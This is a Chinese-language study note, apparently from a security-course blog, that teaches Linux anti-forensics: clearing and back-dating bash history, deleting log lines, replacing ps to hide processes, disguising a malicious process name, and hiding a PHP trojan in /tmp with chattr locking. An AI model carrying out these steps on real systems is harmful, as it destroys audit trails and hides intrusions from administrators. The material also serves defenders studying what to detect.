声明
B站泷羽sec
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
- 关注公众号:泷羽Sec-Blanks
目录标题
同款Kali链接
https://pan.quark.cn/s/097b4bfd5ecc
一、暴力撤退
直接杀死进程
kill -9 $$
kill 结束进程 -9 强制结束 $$ 指定当前shell
相较于下面的隐匿操作,这个显得更加暴力,虽然确实有效但是相较于下面的绝对隐匿还是太危险了,首先强制终止进程可能导致系统异常被管理员发现,然后日志文件也会将事件记录,如果对文件进行操作时终止也会导致文件状态异常更加容易被发现
二、历史命令去痕
(一)原理、本质
在打开一个bash shell 后,.bash_history文件中的内容会被加载到history的记录列表中,并且我们在这一个shell中执行的命令也会被追加到history列表中去,而当我们关闭这个shell时,history列表中的命令就会被写到.bash_history中进行持久化保存
(二)历史命令清除
对于bash shell而言Linux系统会将用户在终端输入的命令记录在~/.bash_history文件中。
(明白这个原理后,我们的历史命令可以在保存入.bash_history中之前就进行清除,从而不会有痕迹)
清除
- 简单覆盖
> ~/.bash_history
但是这种清除方法比较明显,因为文件的时间戳也会被更新
- 伪造清除
先使用history命令进行清除,然后去改时间戳
echo "" > ~/.bash_history
touch -d "yesterday" ~/.bash_history
history -c
- 清除指定行到文件结尾的所有命令
这里用到流文本编辑器sed
sed -i '3,$d' ~/.bash_history
sed -i
命令用于直接在文件中进行修改,而不是像普通的sed
命令那样只是将修改后的内容输出到屏幕上。
(三)不记录历史命令
1.空格+命令可以不触发命令记录
ls
history
2.临时禁用历史命令
临时禁用历史命令记录
set +o history
重新启用历史命令记录
set -o history
3.修改环境变量HISTSIZE(历史命令记录数)
初始是1000条
export HISTSIZE=0
临走之前,不用给人家将那个HISTSIZE改回来,因为export所设置的是临时变量,当此shell进程结束时临时变量也会失效
(四)隐匿
# 进入前先改环境变量
export HISTSIZE=0
# 临走时进行清除
history -c
如果想临走时给它原来的也清了可以用history -cw
但是不利于隐匿
三、日志去痕
(一)系统日志
/var/log/messages、/var/log/syslog 等
-
直接使用vi、nano文本编辑器进行删除
-
使用sed进行删除(当交互式编辑器失效时使用)
sed '/error/d' /var/log/messages
/error/是一个正则表达式,后面的d表示删除
(二)用户登录日志
/var/log/auth.log
(Debian、Ubuntu 等)或/var/log/secure
(Red Hat、CentOS 等)
(三)应用日志
/var/log/apache2/
用于存储 Apache 服务器日志,/var/log/mysql/
用于存储 MySQL 数据库日志
(四)日志文件
ls -lh /var/log
四、进程隐匿
(一)伪造ps命令
查看ps
路径
which ps
用ps
查看ssh进程
ps -ef | grep ssh
创建一个伪造的ps,位于/usr/local/bin/ps 路径中
# !/bin/bash
/usr/bin/ps $@ | grep -Ev 'ssh'
赋予执行权限
chmod +x /usr/local/bin/ps
重启shell(虽然已经伪造成功,但是目前调用的还是原来的那一个ps)
重启后查看,发现ssh进程已经被隐藏起来了
(二)伪造ps正常进程
简单来说就是将恶意进程改为一个正常进程的名字,让管理员不容易发现
1.命令行参数修改
先查到需要伪装的恶意进程的ID
ps -ef | grep evil
这里假设evil进程的ID为1111
echo "ssh" > /proc/1111/cmdline
结合重定向输出将命令行参数修改
2.进程名称修改
需要先下载 gdb 工具
sudo gdb -p 1111 -ex "call prctl(15, \"ssh\", 0, 0, 0)" -ex "detach" -ex "quit"
这样就在名称和参数上对恶意进程进行伪装隐藏
(三)拓展
类似与这种可以查到我们的命令都可以进行伪造,如将netstat进行伪造,隐藏自己ip。
管理员一般不会注意到ps的位置已经发生变化,它只在乎有没有风险
五、文件隐藏
(一)隐藏文件
一般我们的恶意文件或者目录都放在隐藏目录中,就比如/tmp
目录下就有隐藏的目录/tmp/.X11-unix
等
mv muma.php /tmp/.X11-unix/hh.php
直接将木马隐藏到该隐藏目录下。
(二)修改文件权限
使用chattr命令可以防止root和其他用户删除文件,并且ls -liah 无法排查
# 添加文件锁定属性
chattr +i 1.txt
# 查看文件属性
lsattr 1.txt
# 删除文件失败
rm -rf 1.txt
# 删除锁定属性
chattr -i 1.txt
rm -rf 1.txt